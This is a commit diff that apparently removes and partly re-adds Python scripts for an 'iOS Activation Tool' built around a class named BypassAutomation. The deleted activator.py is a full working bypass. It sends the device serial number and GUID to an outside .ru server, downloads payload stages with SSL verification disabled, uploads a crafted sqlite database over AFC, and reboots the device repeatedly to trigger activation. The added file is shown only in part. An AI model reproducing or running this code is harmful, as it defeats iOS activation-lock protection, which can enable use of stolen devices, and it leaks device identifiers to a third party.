Sfoglia il codice sorgente

Merge pull request #22 from Rust505/patch-4

Add activator_macos.py file
rhcp011235 2 mesi fa
parent
commit
5b4f3cd34b
2 ha cambiato i file con 518 aggiunte e 836 eliminazioni
  1. 0 836
      Mac_GUI/activator.py
  2. 518 0
      Mac_GUI/activator_macos.py

+ 0 - 836
Mac_GUI/activator.py

@@ -1,836 +0,0 @@
-import sys
-import os
-import time
-import subprocess
-import re
-import shutil
-import sqlite3
-import atexit
-import urllib.parse
-import json
-import struct
-import binascii
-from collections import Counter
-from pathlib import Path
-
-def get_bundle_path():
-    """Получает путь к ресурсам в .app bundle"""
-    if getattr(sys, 'frozen', False):
-        # Мы внутри .app
-        bundle_path = Path(sys.executable).parent.parent.parent
-        resources_path = bundle_path / 'Contents' / 'Resources'
-        return resources_path
-    else:
-        # Обычный Python
-        return Path.cwd()
-
-def find_binary(bin_name):
-    """Ищет бинарник в bundle или системе"""
-    resources_path = get_bundle_path()
-    bundle_bin_path = resources_path / 'bin' / bin_name
-    
-    # Пробуем bundle сначала
-    if bundle_bin_path.exists():
-        return str(bundle_bin_path)
-    
-    # Пробуем системные пути
-    system_paths = ['/usr/local/bin', '/opt/homebrew/bin', '/usr/bin']
-    for path in system_paths:
-        sys_bin_path = Path(path) / bin_name
-        if sys_bin_path.exists():
-            return str(sys_bin_path)
-    
-    return None
-
-class Style:
-    RESET = '\033[0m'
-    BOLD = '\033[1m'
-    DIM = '\033[2m'
-    RED = '\033[0;31m'
-    GREEN = '\033[0;32m'
-    YELLOW = '\033[1;33m'
-    BLUE = '\033[0;34m'
-    MAGENTA = '\033[0;35m'
-    CYAN = '\033[0;36m'
-
-class BypassAutomation:
-    def __init__(self, auto_confirm_guid=False):
-        self.api_url = "https://codex-r1nderpest-a12.ru/get2.php"
-        self.timeouts = {
-            'asset_wait': 300,
-            'asset_delete_delay': 15,
-            'reboot_wait': 300,
-            'syslog_collect': 180
-        }
-        self.mount_point = os.path.join(os.path.expanduser("~"), f".ifuse_mount_{os.getpid()}")
-        self.afc_mode = None
-        self.device_info = {}
-        self.guid = None
-        self.attempt_count = 0
-        self.max_attempts = 10
-        self.auto_confirm_guid = auto_confirm_guid
-        atexit.register(self._cleanup)
-
-    def log(self, msg, level='info'):
-        if level == 'info':
-            print(f"{Style.GREEN}[✓]{Style.RESET} {msg}")
-        elif level == 'error':
-            print(f"{Style.RED}[✗]{Style.RESET} {msg}")
-        elif level == 'warn':
-            print(f"{Style.YELLOW}[⚠]{Style.RESET} {msg}")
-        elif level == 'step':
-            print(f"\n{Style.BOLD}{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
-            print(f"{Style.BOLD}{Style.BLUE}▶{Style.RESET} {Style.BOLD}{msg}{Style.RESET}")
-            print(f"{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
-        elif level == 'detail':
-            print(f"{Style.DIM}  ╰─▶{Style.RESET} {msg}")
-        elif level == 'success':
-            print(f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}")
-        elif level == 'attempt':
-            print(f"{Style.CYAN}[🔄 Attempt {self.attempt_count}/{self.max_attempts}]{Style.RESET} {msg}")
-
-    def _run_cmd(self, cmd, timeout=None):
-        """Запускает команду с поддержкой .app bundle"""
-        # Преобразуем команду для использования бинарников из bundle
-        if isinstance(cmd, list) and cmd:
-            bin_name = cmd[0]
-            full_path = find_binary(bin_name)
-            if full_path:
-                cmd[0] = full_path
-        
-        elif isinstance(cmd, str):
-            parts = cmd.split()
-            if parts:
-                bin_name = parts[0]
-                full_path = find_binary(bin_name)
-                if full_path:
-                    cmd = cmd.replace(bin_name, full_path, 1)
-        
-        # Настраиваем окружение для .app
-        env = os.environ.copy()
-        resources_path = get_bundle_path()
-        
-        # Добавляем bin директорию в PATH
-        bin_dir = resources_path / 'bin'
-        if bin_dir.exists():
-            env['PATH'] = str(bin_dir) + ':' + env.get('PATH', '')
-        
-        # Добавляем lib директорию для библиотек
-        lib_dir = resources_path / 'lib'
-        if lib_dir.exists():
-            env['DYLD_LIBRARY_PATH'] = str(lib_dir) + ':' + env.get('DYLD_LIBRARY_PATH', '')
-        
-        try:
-            result = subprocess.run(
-                cmd, 
-                capture_output=True, 
-                text=True, 
-                timeout=timeout,
-                shell=isinstance(cmd, str),
-                env=env
-            )
-            return result.returncode, result.stdout, result.stderr
-            
-        except subprocess.TimeoutExpired:
-            return -1, "", "Command timed out"
-        except Exception as e:
-            return -1, "", str(e)
-        
-    def wait_for_file(self, file_path, timeout=60):
-        """Ожидание появления файла с таймаутом"""
-        self.log(f"⏳ Waiting for {file_path}...", "detail")
-        start_time = time.time()
-        
-        while time.time() - start_time < timeout:
-            if self.afc_mode == "ifuse":
-                if self.mount_afc():
-                    fpath = self.mount_point + file_path
-                    if os.path.exists(fpath):
-                        file_size = os.path.getsize(fpath)
-                        if file_size > 0:
-                            self.log(f"✅ File found ({file_size} bytes)", "success")
-                            return True
-            else:
-                # Проверка через pymobiledevice3
-                tmp_file = f"temp_check_{os.getpid()}.tmp"
-                code, _, _ = self._run_cmd(["pymobiledevice3", "afc", "pull", file_path, tmp_file])
-                if code == 0 and os.path.exists(tmp_file):
-                    file_size = os.path.getsize(tmp_file)
-                    os.remove(tmp_file)
-                    if file_size > 0:
-                        self.log(f"✅ File found ({file_size} bytes)", "success")
-                        return True
-            
-            time.sleep(5)
-            self.log("  ▫ Still waiting...", "detail")
-        
-        self.log(f"❌ Timeout waiting for {file_path}", "error")
-        return False    
-
-    def _curl_download(self, url, output_file):
-        """Download with SSL verification disabled"""
-        curl_cmd = [
-            "curl", "-L", 
-            "-k",  # ← КЛЮЧЕВОЕ: отключает проверку SSL
-            "-f",  # Fail on HTTP errors
-            "--connect-timeout", "30",
-            "--max-time", "120",
-            "-o", output_file,
-            url
-        ]
-        
-        self.log(f"Downloading: {url}", "detail")
-        code, out, err = self._run_cmd(curl_cmd)
-        
-        if code != 0:
-            self.log(f"Download failed (code {code}): {err}", "error")
-            return False
-            
-        if os.path.exists(output_file) and os.path.getsize(output_file) > 0:
-            self.log(f"Download successful: {os.path.getsize(output_file)} bytes", "info")
-            return True
-        else:
-            self.log("Download failed: empty file", "error")
-            return False
-
-    def reboot_device(self):
-        """Reboots device and waits for readiness"""
-        self.log("Rebooting device...", "step")
-        
-        # Try using pymobiledevice3 for reboot
-        code, _, err = self._run_cmd(["pymobiledevice3", "restart"])
-        if code != 0:
-            # Fallback to idevicediagnostics
-            code, _, err = self._run_cmd(["idevicediagnostics", "restart"])
-            if code != 0:
-                self.log(f"Soft reboot failed: {err}", "warn")
-                self.log("Please reboot device manually and press Enter to continue...", "warn")
-                input()
-                return True
-        
-        self.log("Device reboot command sent, waiting for reconnect...", "info")
-        
-        # Wait for device reboot
-        for i in range(60):  # 60 attempts × 5 seconds = 5 minutes
-            time.sleep(5)
-            code, _, _ = self._run_cmd(["ideviceinfo"])
-            if code == 0:
-                self.log(f"Device reconnected after {i * 5} seconds", "success")
-                # Give device extra time for full boot
-                time.sleep(10)
-                return True
-            
-            if i % 6 == 0:  # Every 30 seconds
-                self.log(f"Still waiting for device... ({i * 5} seconds)", "detail")
-        
-        self.log("Device did not reconnect in time", "error")
-        return False
-
-    def verify_dependencies(self):
-        self.log("Verifying System Requirements...", "step")
-        
-        # Проверяем доступность бинарников
-        required_bins = ['ideviceinfo', 'idevice_id']
-        for bin_name in required_bins:
-            path = find_binary(bin_name)
-            if path:
-                self.log(f"✅ {bin_name}: {path}", "info")
-            else:
-                self.log(f"❌ {bin_name}: Not found", "error")
-                raise Exception(f"Required binary not found: {bin_name}")
-        
-        if find_binary("ifuse"):
-            self.afc_mode = "ifuse"
-            self.log("✅ ifuse found - using ifuse mode", "info")
-        else:
-            self.afc_mode = "pymobiledevice3"
-            self.log("⚠ ifuse not found - using pymobiledevice3 mode", "warn")
-
-    def mount_afc(self):
-        if self.afc_mode != "ifuse":
-            return True
-        os.makedirs(self.mount_point, exist_ok=True)
-        code, out, _ = self._run_cmd(["mount"])
-        if self.mount_point in out:
-            return True
-        for i in range(5):
-            code, _, _ = self._run_cmd(["ifuse", self.mount_point])
-            if code == 0:
-                return True
-            time.sleep(2)
-        self.log("Failed to mount via ifuse", "error")
-        return False
-
-    def unmount_afc(self):
-        if self.afc_mode == "ifuse" and os.path.exists(self.mount_point):
-            self._run_cmd(["umount", self.mount_point])
-            try:
-                os.rmdir(self.mount_point)
-            except OSError:
-                pass
-
-    def _cleanup(self):
-        """Ensure cleanup on exit"""
-        self.unmount_afc()
-
-    def detect_device(self):
-        self.log("Detecting Device...", "step")
-        code, out, err = self._run_cmd(["ideviceinfo"])
-        if code != 0:
-            self.log(f"Device not found. Error: {err or 'Unknown'}", "error")
-            raise Exception("No device detected")
-        
-        info = {}
-        for line in out.splitlines():
-            if ": " in line:
-                key, val = line.split(": ", 1)
-                info[key.strip()] = val.strip()
-        self.device_info = info
-        
-        print(f"\n{Style.BOLD}Device: {info.get('ProductType','Unknown')} (iOS {info.get('ProductVersion','?')}){Style.RESET}")
-        print(f"UDID: {info.get('UniqueDeviceID','?')}")
-        
-        if info.get('ActivationState') == 'Activated':
-            print(f"{Style.YELLOW}Warning: Device already activated.{Style.RESET}")
-
-    def afc_copy(self, src_path: str, dst_path: str) -> bool:
-        try:
-            if self.afc_mode == "ifuse":
-                if not self.mount_afc():
-                    raise RuntimeError("ifuse remount failed")
-                src_local = self.mount_point + src_path
-                dst_local = self.mount_point + dst_path
-                if not os.path.exists(src_local) or os.path.getsize(src_local) == 0:
-                    return False
-                os.makedirs(os.path.dirname(dst_local), exist_ok=True)
-                shutil.copy2(src_local, dst_local)
-                return True
-            else:
-                tmp = "temp_plist_copy.plist"
-                code, _, err = self._run_cmd(["pymobiledevice3", "afc", "pull", src_path, tmp])
-                if code != 0 or not os.path.exists(tmp) or os.path.getsize(tmp) == 0:
-                    if os.path.exists(tmp):
-                        os.remove(tmp)
-                    return False
-                code2, _, err2 = self._run_cmd(["pymobiledevice3", "afc", "push", tmp, dst_path])
-                if os.path.exists(tmp):
-                    os.remove(tmp)
-                return code2 == 0
-        except Exception as e:
-            self.log(f"afc_copy failed: {e}", "error")
-            return False            
-
-    def get_guid_manual(self):
-        """Manual GUID input with validation"""
-        print(f"\n{Style.YELLOW}⚠ GUID Input Required{Style.RESET}")
-        print(f"   Format: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX")
-        print(f"   Example: 2A22A82B-C342-444D-972F-5270FB5080DF")
-        
-        UUID_PATTERN = re.compile(r'^[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}$', re.IGNORECASE)
-        
-        while True:
-            guid_input = input(f"\n{Style.BLUE}➤ Enter SystemGroup GUID:{Style.RESET} ").strip()
-            if UUID_PATTERN.match(guid_input):
-                return guid_input.upper()
-            print(f"{Style.RED}❌ Invalid format. Must be 8-4-4-4-12 hex characters (e.g. 2A22A82B-C342-444D-972F-5270FB5080DF).{Style.RESET}")
-
-    def parse_tracev3_structure(self, data):
-        """Parses tracev3 file structure for more precise search"""
-        signatures = []
-        
-        # Search for database-related strings
-        db_patterns = [
-            b'BLDatabaseManager',
-            b'BLDatabase',
-            b'BLDatabaseManager.sqlite', 
-            b'bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup',
-        ]
-        
-        for pattern in db_patterns:
-            pos = 0
-            while True:
-                pos = data.find(pattern, pos)
-                if pos == -1:
-                    break
-                signatures.append(('string', pattern, pos))
-                pos += len(pattern)
-        
-        return signatures
-
-    def extract_guid_candidates(self, data, context_pos, window_size=512):
-        """Extracts GUIDs with contextual analysis"""
-        candidates = []
-        
-        # Extended GUID pattern
-        guid_pattern = re.compile(
-            rb'([0-9A-F]{8}[-][0-9A-F]{4}[-][0-9A-F]{4}[-][0-9A-F]{4}[-][0-9A-F]{12})',
-            re.IGNORECASE
-        )
-        
-        # Search in context window
-        start = max(0, context_pos - window_size)
-        end = min(len(data), context_pos + window_size)
-        context_data = data[start:end]
-        
-        # GUID search
-        for match in guid_pattern.finditer(context_data):
-            guid = match.group(1).decode('ascii').upper()
-            relative_pos = match.start() + start - context_pos
-            
-            # Extended GUID validation
-            if self.validate_guid_structure(guid):
-                candidates.append({
-                    'guid': guid,
-                    'position': relative_pos,
-                    'context': self.get_context_string(context_data, match.start(), match.end())
-                })
-        
-        return candidates
-
-    def validate_guid_structure(self, guid):
-        """Extended GUID structure validation"""
-        try:
-            # Check GUID version (RFC 4122)
-            parts = guid.split('-')
-            if len(parts) != 5:
-                return False
-            
-            # Check part lengths
-            if len(parts[0]) != 8 or len(parts[1]) != 4 or len(parts[2]) != 4 or len(parts[3]) != 4 or len(parts[4]) != 12:
-                return False
-            
-            # Check hex characters
-            hex_chars = set('0123456789ABCDEF')
-            clean_guid = guid.replace('-', '')
-            if not all(c in hex_chars for c in clean_guid):
-                return False
-            
-            # Check version (4th character of 3rd group should be 4)
-            version_char = parts[2][0]
-            if version_char not in '4':
-                return False  # iOS commonly uses version 4
-            
-            # Check variant (8,9,A,B - 2 high bits)
-            variant_char = parts[3][0]
-            if variant_char not in '89AB':
-                return False
-            
-            return True
-            
-        except Exception:
-            return False
-
-    def get_context_string(self, data, start, end, context_size=50):
-        """Gets context string around GUID"""
-        context_start = max(0, start - context_size)
-        context_end = min(len(data), end + context_size)
-        
-        context = data[context_start:context_end]
-        try:
-            # Try to decode as text
-            return context.decode('utf-8', errors='replace')
-        except:
-            # For binary data show hex
-            return binascii.hexlify(context).decode('ascii')
-
-    def analyze_guid_confidence(self, guid_candidates):
-        """Analyzes confidence in found GUIDs"""
-        if not guid_candidates:
-            return None
-        
-        # Group by GUID
-        guid_counts = Counter(candidate['guid'] for candidate in guid_candidates)
-        
-        # Calculate score for each GUID
-        scored_guids = []
-        for guid, count in guid_counts.items():
-            score = count * 10  # Base score by occurrence count
-            
-            # Additional confidence factors
-            positions = [c['position'] for c in guid_candidates if c['guid'] == guid]
-            
-            # Preference for GUIDs close to BLDatabaseManager
-            close_positions = [p for p in positions if abs(p) < 100]
-            if close_positions:
-                score += len(close_positions) * 5
-            
-            # Preference for GUIDs before BLDatabaseManager (more common in logs)
-            before_positions = [p for p in positions if p < 0]
-            if before_positions:
-                score += len(before_positions) * 3
-            
-            scored_guids.append((guid, score, count))
-        
-        # Sort by score
-        scored_guids.sort(key=lambda x: x[1], reverse=True)
-        return scored_guids
-
-    def confirm_guid_manual(self, guid):
-        """Requests manual confirmation — bypassed in auto mode"""
-        if self.auto_confirm_guid:
-            self.log(f"[AUTO] Low-confidence GUID auto-approved: {guid}", "info")
-            return True
-        else:
-            # Оригинальный интерактивный запрос (для CLI)
-            print(f"Proposed GUID: {Style.BOLD}{guid}{Style.RESET}")
-            print(f"This GUID has lower confidence score. Please verify:")
-            print(f"1. Check if this matches GUID from other sources")
-            print(f"2. Verify the format looks correct")
-            
-            response = input(f"\n{Style.BLUE}Use this GUID? (y/N):{Style.RESET} ").strip().lower()
-            return response in ['y', 'yes']
-
-    def get_guid_enhanced(self):
-        """Enhanced GUID extraction version"""
-        self.attempt_count += 1
-        self.log(f"GUID search attempt {self.attempt_count}/{self.max_attempts}", "attempt")
-        
-        udid = self.device_info['UniqueDeviceID']
-        log_path = f"{udid}.logarchive"
-        
-        try:
-            # Collect logs
-            self.log("Collecting device logs...", "detail")
-            code, _, err = self._run_cmd(["pymobiledevice3", "syslog", "collect", log_path], timeout=120)
-            if code != 0:
-                self.log(f"Log collection failed: {err}", "error")
-                return None
-            
-            trace_file = os.path.join(log_path, "logdata.LiveData.tracev3")
-            if not os.path.exists(trace_file):
-                self.log("tracev3 file not found", "error")
-                return None
-            
-            # Read and analyze file
-            with open(trace_file, 'rb') as f:
-                data = f.read()
-            
-            size_mb = len(data) / (1024 * 1024)
-            self.log(f"Analyzing tracev3 ({size_mb:.1f} MB)...", "detail")
-            
-            # Search for key structures
-            signatures = self.parse_tracev3_structure(data)
-            self.log(f"Found {len(signatures)} relevant signatures", "detail")
-            
-            # Collect GUID candidates
-            all_candidates = []
-            bl_database_positions = []
-            
-            for sig_type, pattern, pos in signatures:
-                if pattern == b'BLDatabaseManager':
-                    bl_database_positions.append(pos)
-                    candidates = self.extract_guid_candidates(data, pos)
-                    all_candidates.extend(candidates)
-                    
-                    if candidates:
-                        self.log(f"Found {len(candidates)} GUID candidates near BLDatabaseManager at 0x{pos:x}", "detail")
-            
-            if not all_candidates:
-                self.log("No valid GUID candidates found", "error")
-                return None
-            
-            # Confidence analysis
-            scored_guids = self.analyze_guid_confidence(all_candidates)
-            if not scored_guids:
-                return None
-            
-            # Log results
-            self.log("GUID confidence analysis:", "info")
-            for guid, score, count in scored_guids[:5]:
-                self.log(f"  {guid}: score={score}, occurrences={count}", "detail")
-            
-            best_guid, best_score, best_count = scored_guids[0]
-            
-            # Determine confidence level
-            if best_score >= 30:
-                confidence = "HIGH"
-                self.log(f"✅ HIGH CONFIDENCE: {best_guid} (score: {best_score})", "success")
-            elif best_score >= 15:
-                confidence = "MEDIUM" 
-                self.log(f"⚠️ MEDIUM CONFIDENCE: {best_guid} (score: {best_score})", "warn")
-            else:
-                confidence = "LOW"
-                self.log(f"⚠️ LOW CONFIDENCE: {best_guid} (score: {best_score})", "warn")
-            
-            # Additional verification for low confidence
-            if confidence in ["LOW", "MEDIUM"]:
-                self.log("Requesting manual confirmation for low-confidence GUID...", "warn")
-                if not self.confirm_guid_manual(best_guid):
-                    return None
-            
-            return best_guid
-            
-        finally:
-            # Cleanup
-            if os.path.exists(log_path):
-                shutil.rmtree(log_path)
-
-    def get_guid_auto_with_retry(self):
-        """Auto-detect GUID with reboot retry mechanism"""
-        self.attempt_count = 0
-        
-        while self.attempt_count < self.max_attempts:
-            guid = self.get_guid_enhanced()
-            
-            if guid:
-                return guid
-            
-            # If not last attempt - reboot device
-            if self.attempt_count < self.max_attempts:
-                self.log(f"GUID not found in attempt {self.attempt_count}. Rebooting device and retrying...", "warn")
-                
-                if not self.reboot_device():
-                    self.log("Failed to reboot device, continuing anyway...", "warn")
-                
-                # After reboot re-detect device
-                self.log("Re-detecting device after reboot...", "detail")
-                self.detect_device()
-                
-                # Small pause before next attempt
-                time.sleep(5)
-            else:
-                self.log(f"All {self.max_attempts} attempts exhausted", "error")
-        
-        return None
-
-    def get_guid_auto(self):
-        """Auto-detect GUID using enhanced method with retry"""
-        return self.get_guid_auto_with_retry()
-
-    def get_all_urls_from_server(self, prd, guid, sn):
-        """Requests all three URLs (stage1, stage2, stage3) from the server"""
-        params = f"prd={prd}&guid={guid}&sn={sn}"
-        url = f"{self.api_url}?{params}"
-
-        self.log(f"Requesting all URLs from server: {url}", "detail")
-        
-        # Используем curl с отключенной SSL проверкой
-        code, out, err = self._run_cmd(["curl", "-s", "-k", url])  # ← -k добавлено здесь
-        if code != 0:
-            self.log(f"Server request failed: {err}", "error")
-            return None, None, None
-
-        try:
-            data = json.loads(out)
-            if data.get('success'):
-                stage1_url = data['links']['step1_fixedfile']
-                stage2_url = data['links']['step2_bldatabase']
-                stage3_url = data['links']['step3_final']
-                return stage1_url, stage2_url, stage3_url
-            else:
-                self.log("Server returned error response", "error")
-                return None, None, None
-        except json.JSONDecodeError:
-            self.log("Server did not return valid JSON", "error")
-            return None, None, None
-
-    def preload_stage(self, stage_name, stage_url):
-        """Pre-load individual stage with SSL bypass"""
-        self.log(f"Pre-loading: {stage_name}...", "detail")
-        
-        # Используем нашу улучшенную функцию загрузки
-        temp_file = f"temp_{stage_name}"
-        success = self._curl_download(stage_url, temp_file)
-        
-        if success:
-            self.log(f"Successfully pre-loaded {stage_name}", "info")
-            # Удаляем временный файл
-            if os.path.exists(temp_file):
-                os.remove(temp_file)
-            return True
-        else:
-            self.log(f"Warning: Failed to pre-load {stage_name}", "warn")
-            return False
-
-    def run(self):
-        os.system('clear')
-        print(f"{Style.BOLD}{Style.MAGENTA}iOS Activation Tool - Professional Edition{Style.RESET}\n")
-        
-        self.verify_dependencies()
-        self.detect_device()
-        
-        print(f"\n{Style.CYAN}GUID Detection Options:{Style.RESET}")
-        print(f"  1. {Style.GREEN}Auto-detect from device logs (with retry){Style.RESET}")
-        print(f"  2. {Style.YELLOW}Manual input{Style.RESET}")
-        
-        choice = input(f"\n{Style.BLUE}➤ Choose option (1/2):{Style.RESET} ").strip()
-        
-        if choice == "1":
-            self.guid = self.get_guid_auto()
-            if self.guid:
-                self.log(f"Auto-detected GUID after {self.attempt_count} attempt(s): {self.guid}", "success")
-            else:
-                self.log(f"Could not auto-detect GUID after {self.attempt_count} attempts, falling back to manual input", "warn")
-                self.guid = self.get_guid_manual()
-        else:
-            self.guid = self.get_guid_manual()
-        
-        self.log(f"Using GUID: {self.guid}", "info")
-        
-        input(f"\n{Style.YELLOW}Press Enter to deploy payload with this GUID...{Style.RESET}")
-
-        # 2. API Call & Get All URLs
-        self.log("Requesting All Payload Stages from Server...", "step")
-        prd = self.device_info['ProductType']
-        sn = self.device_info['SerialNumber']
-        
-        stage1_url, stage2_url, stage3_url = self.get_all_urls_from_server(prd, self.guid, sn)
-        
-        if not stage1_url or not stage2_url or not stage3_url:
-            self.log("Failed to get URLs from server", "error")
-            sys.exit(1)
-        
-        self.log(f"Stage1 URL: {stage1_url}", "detail")
-        self.log(f"Stage2 URL: {stage2_url}", "detail")
-        self.log(f"Stage3 URL: {stage3_url}", "detail")
-
-        # 3. Pre-download all stages с SSL bypass
-        self.log("Pre-loading all payload stages...", "step")
-        stages = [
-            ("stage1", stage1_url),
-            ("stage2", stage2_url), 
-            ("stage3", stage3_url)
-        ]
-        
-        for stage_name, stage_url in stages:
-            self.preload_stage(stage_name, stage_url)
-            time.sleep(1)
-
-        # 4. Download & Validate final payload (stage3)
-        self.log("Downloading final payload...", "step")
-        local_db = "downloads.28.sqlitedb"
-        if os.path.exists(local_db):
-            os.remove(local_db)
-        
-        # Используем улучшенную загрузку
-        if not self._curl_download(stage3_url, local_db):
-            self.log("Final payload download failed", "error")
-            sys.exit(1)
-
-        # Validate database
-        self.log("Validating payload database...", "detail")
-        conn = sqlite3.connect(local_db)
-        try:
-            res = conn.execute("SELECT count(*) FROM sqlite_master WHERE type='table' AND name='asset'")
-            if res.fetchone()[0] == 0:
-                raise Exception("Invalid DB - no asset table found")
-            
-            res = conn.execute("SELECT COUNT(*) FROM asset")
-            count = res.fetchone()[0]
-            if count == 0:
-                raise Exception("Invalid DB - no records in asset table")
-                
-            self.log(f"Database validation passed - {count} records found", "info")
-            
-            res = conn.execute("SELECT pid, url, local_path FROM asset")
-            for row in res.fetchall():
-                self.log(f"Record {row[0]}: {row[1]} -> {row[2]}", "detail")
-                
-        except Exception as e:
-            self.log(f"Invalid payload received: {e}", "error")
-            sys.exit(1)
-        finally:
-            conn.close()
-        
-        # 5. Upload
-        self.log("Uploading Payload via AFC...", "step")
-        target = "/Downloads/downloads.28.sqlitedb"
-        
-        if self.afc_mode == "ifuse":
-            if not self.mount_afc():
-                self.log("Mounting failed — falling back to pymobiledevice3", "warn")
-                self.afc_mode = "pymobiledevice3"
-        
-        if self.afc_mode == "ifuse":
-            fpath = self.mount_point + target
-            if os.path.exists(fpath):
-                os.remove(fpath)
-            shutil.copy(local_db, fpath)
-            self.log("Uploaded via ifuse", "info")
-        else:
-            self._run_cmd(["pymobiledevice3", "afc", "rm", target])
-            code, _, err = self._run_cmd(["pymobiledevice3", "afc", "push", local_db, target])
-            if code != 0:
-                self.log(f"AFC upload failed: {err}", "error")
-                sys.exit(1)
-            self.log("Uploaded via pymobiledevice3", "info")
-            
-        self.log("✅ Payload Deployed Successfully", "success")
-        
-        # 6. Cleanup WAL/SHM files
-        self.log("Cleaning up WAL/SHM files in /Downloads...", "step")
-        for wal_file in ["/Downloads/downloads.28.sqlitedb-wal", "/Downloads/downloads.28.sqlitedb-shm"]:
-            if self.afc_mode == "ifuse":
-                fpath = self.mount_point + wal_file
-                if os.path.exists(fpath):
-                    try:
-                        os.remove(fpath)
-                        self.log(f"Removed {wal_file} via ifuse", "info")
-                    except Exception as e:
-                        self.log(f"Failed to remove {wal_file}: {e}", "warn")
-            else:
-                code, _, err = self._run_cmd(["pymobiledevice3", "afc", "rm", wal_file])
-                if code == 0:
-                    self.log(f"Removed {wal_file} via pymobiledevice3", "info")
-                else:
-                    if "ENOENT" not in err and "No such file" not in err:
-                        self.log(f"Warning removing {wal_file}: {err}", "warn")
-                    else:
-                        self.log(f"{wal_file} not present — OK", "detail")
-
-        # === STAGE 1: FIRST REBOOT + COPY TO /Books/ ===
-        self.log("🔄 STAGE 1: First reboot + copy to /Books/...", "step")
-        if not self.reboot_device():
-            self.log("⚠ First reboot failed — continuing anyway", "warn")
-
-        self.log("Waiting 30 seconds for iTunesMetadata.plist to appear...", "detail")
-        for _ in range(3):  # 6 × 5s = 30s
-            time.sleep(5)
-            self.log("  ▫ Waiting...", "detail")
-
-        src = "/iTunes_Control/iTunes/iTunesMetadata.plist"
-        dst_books = "/Books/iTunesMetadata.plist"
-
-        # Copy → /Books/
-        self.log(f"Copying {src} → {dst_books}...", "info")
-        if self.afc_copy(src, dst_books):
-            self.log("✅ Copied to /Books/ successfully", "success")
-        else:
-            self.log("⚠ /iTunes_Control/iTunes/iTunesMetadata.plist not found — skipping copy to /Books/", "warn")
-
-        # === STAGE 2: SECOND REBOOT + COPY BACK ===
-        self.log("🔄 STAGE 2: Second reboot + copy back to /iTunes_Control/...", "step")
-        if not self.reboot_device():
-            self.log("⚠ Second reboot failed — continuing anyway", "warn")
-
-        # Copy back: /Books/ → /iTunes_Control/iTunes/
-        self.log(f"Copying {dst_books} → {src}...", "info")
-        if self.afc_copy(dst_books, src):
-            self.log("✅ Copied back to /iTunes_Control/ successfully", "success")
-        else:
-            self.log("⚠ /Books/iTunesMetadata.plist missing — copy-back skipped", "warn")
-
-        # Wait 15 seconds — bookassetd processes the plist copy
-        self.log("⏸ Holding 15s for bookassetd...", "detail")
-        time.sleep(40)
-
-        # === FINAL REBOOT ===
-        self.log("🔄 Final reboot to trigger MobileActivation...", "step")
-        self.reboot_device()
-        
-        # ✅ Final success banner
-        print(f"\n{Style.GREEN}{Style.BOLD}🎉 АКТИВАЦИЯ ЗАВЕРШЕНА УСПЕШНО!{Style.RESET}")
-        print(f"{Style.CYAN}→ GUID: {Style.BOLD}{self.guid}{Style.RESET}")
-        print(f"{Style.CYAN}→ Payload deployed, plist synced ×2, 3 reboots performed.{Style.RESET}")
-        print(f"\n{Style.YELLOW}📌 Что делать дальше:{Style.RESET}")
-
-
-if __name__ == "__main__":
-    try:
-        BypassAutomation().run()
-    except KeyboardInterrupt:
-        print(f"\n{Style.YELLOW}Interrupted by user.{Style.RESET}")
-        sys.exit(0)
-    except Exception as e:
-        print(f"{Style.RED}Fatal error: {e}{Style.RESET}")
-        sys.exit(1)

+ 518 - 0
Mac_GUI/activator_macos.py

@@ -0,0 +1,518 @@
+#!/usr/bin/env python3
+import sys
+import os
+import time
+import subprocess
+import re
+import shutil
+import sqlite3
+import json
+import argparse 
+import binascii
+from pathlib import Path
+from collections import Counter
+from typing import Optional, Tuple
+import tempfile
+# === Settings ===
+API_URL = "https://codex-r1nderpest-a12.ru/get2.php"
+TIMEOUTS = {
+    'reboot_wait': 300,
+    'syslog_collect': 180,
+    'tracev3_wait': 120,
+}
+UUID_PATTERN = re.compile(r'^[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}$', re.IGNORECASE)
+
+# === ANSI Colors ===
+class Style:
+    RESET = '\033[0m'
+    BOLD = '\033[1m'
+    GREEN = '\033[0;32m'
+    RED = '\033[0;31m'
+    YELLOW = '\033[1;33m'
+    BLUE = '\033[0;34m'
+    CYAN = '\033[0;36m'
+
+def find_binary(bin_name: str) -> Optional[str]:
+    # System paths only - ifuse excluded
+    for p in [
+            '/opt/homebrew/bin',
+            '/usr/local/bin',
+            '/opt/homebrew/sbin',
+            '/usr/local/sbin',
+            '/opt/homebrew/opt/*/bin',
+            '/usr/local/opt/*/bin',
+                        # System
+            '/usr/bin',
+            '/bin',
+            '/usr/sbin',
+            '/sbin',
+            '/Library/Apple/usr/bin',
+                        # Python
+            '/usr/local/opt/python/libexec/bin',
+            '/opt/homebrew/opt/python/libexec/bin',
+            '/Library/Frameworks/Python.framework/Versions/*/bin',
+            '~/Library/Python/*/bin',
+                        # User directories
+            '~/.local/bin',
+            '~/bin'
+            
+            ]:
+        path = Path(p) / bin_name
+        if path.is_file():
+            return str(path)
+    return None
+
+def run_cmd(cmd, timeout=None) -> Tuple[int, str, str]:
+    # Replace first element with full path if found
+    if isinstance(cmd, list) and cmd:
+        full = find_binary(cmd[0])
+        if full:
+            cmd = [full] + cmd[1:]
+    try:
+        result = subprocess.run(
+            cmd, shell=isinstance(cmd, str),
+            capture_output=True, text=True, timeout=timeout
+        )
+        return result.returncode, result.stdout, result.stderr
+    except subprocess.TimeoutExpired:
+        return -1, "", "timeout"
+    except Exception as e:
+        return -2, "", str(e)
+
+def log(msg: str, level='info'):
+    prefixes = {
+        'info': f"{Style.GREEN}[✓]{Style.RESET} {msg}",
+        'warn': f"{Style.YELLOW}[⚠]{Style.RESET} {msg}",
+        'error': f"{Style.RED}[✗]{Style.RESET} {msg}",
+        'step': f"\n{Style.CYAN}{'━'*40}\n{Style.BLUE}▶{Style.RESET} {Style.BOLD}{msg}{Style.RESET}\n{'━'*40}",
+        'detail': f"{Style.CYAN}  ╰─▶{Style.RESET} {msg}",
+        'success': f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}",
+    }
+    
+    if level == 'step':
+        print(prefixes['step'])
